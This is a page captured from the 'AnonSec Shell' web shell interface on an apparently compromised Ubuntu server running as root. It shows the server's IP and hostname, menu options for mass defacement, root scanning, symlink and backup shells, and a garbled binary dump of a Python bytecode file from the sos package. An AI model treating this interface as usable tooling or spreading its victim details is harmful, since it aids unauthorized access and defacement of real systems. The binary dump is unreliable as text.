AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/sos/presets/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/sos/presets/__pycache__/__init__.cpython-310.pyc
o

���b|
�@s`ddlZddlZddlmZdZdZdZdZGdd�d�Zd	Z	d
Z
dZe	ee	e
ee�d�iZdS)
�N)�
SoSOptionsz/etc/sos/presets.d�desc�note�argsc@sZeZdZdZdZdZdZe�ZdZ	dd�Z
dd�Zddde�fd	d
�Zdd�Z
d
d�ZdS)�PresetDefaultsa�Preset command line defaults to allow for quick reference to sets of
    commonly used options

    :param name: The name of the new preset
    :type name: ``str``

    :param desc: A description for the new preset
    :type desc: ``str``

    :param note: Note for the new preset
    :type note: ``str``

    :param opts: Options set for the new preset
    :type opts: ``SoSOptions``
    NTcC�d|j|j|jt|j�fS)zeReturn a human readable string representation of this
            ``PresetDefaults`` object.
        z!name=%s desc=%s note=%s opts=(%s))�namerr�str�opts��self�r
�6/usr/lib/python3/dist-packages/sos/presets/__init__.py�__str__4��zPresetDefaults.__str__cCr)zgReturn a machine readable string representation of this
            ``PresetDefaults`` object.
        z6PresetDefaults(name='%s' desc='%s' note='%s' opts=(%s))rrr�reprr
rr
r
r�__repr__;rzPresetDefaults.__repr__�cCs||_||_||_||_dS)z�Initialise a new ``PresetDefaults`` object with the specified
            arguments.

            :returns: The newly initialised ``PresetDefaults``
        N�rrrr
)rrrrr
r
r
r�__init__Bs
zPresetDefaults.__init__cCs�|jrtd��|j��}|jt|jt|jt	|ii}t
j�|�s&t
j
|dd�tt
j�||j�d��}t�||�Wd�dS1sCwYdS)z�Write this preset to disk in JSON notation.

        :param presets_path: the directory where the preset will be written
        :type presets_path: ``str``
        zCannot write built-in preseti�)�mode�wN)�builtin�	TypeErrorr
�dictr�DESCr�NOTEr�OPTS�os�path�exists�makedirs�open�join�json�dump)r�presets_path�odict�pdict�pfiler
r
r�writeMs
"�zPresetDefaults.writecCst�tj�||j��dS)z�Delete a preset from disk

        :param presets_path: the directory where the preset is saved
        :type presets_path: ``str``
        N)r�unlinkrr#r)rr&r
r
r�delete`szPresetDefaults.delete)�__name__�
__module__�__qualname__�__doc__rrrrr
rrrrr*r,r
r
r
rrsr�nonezDo not load a presetz+Use to disable automatically loaded presetsr)
r$r�sos.optionsr�PRESETS_PATHrrrr�	NO_PRESET�NO_PRESET_DESC�NO_PRESET_NOTE�GENERIC_PRESETSr
r
r
r�<module>s
Q��

Anon7 - 2022
AnonSec Team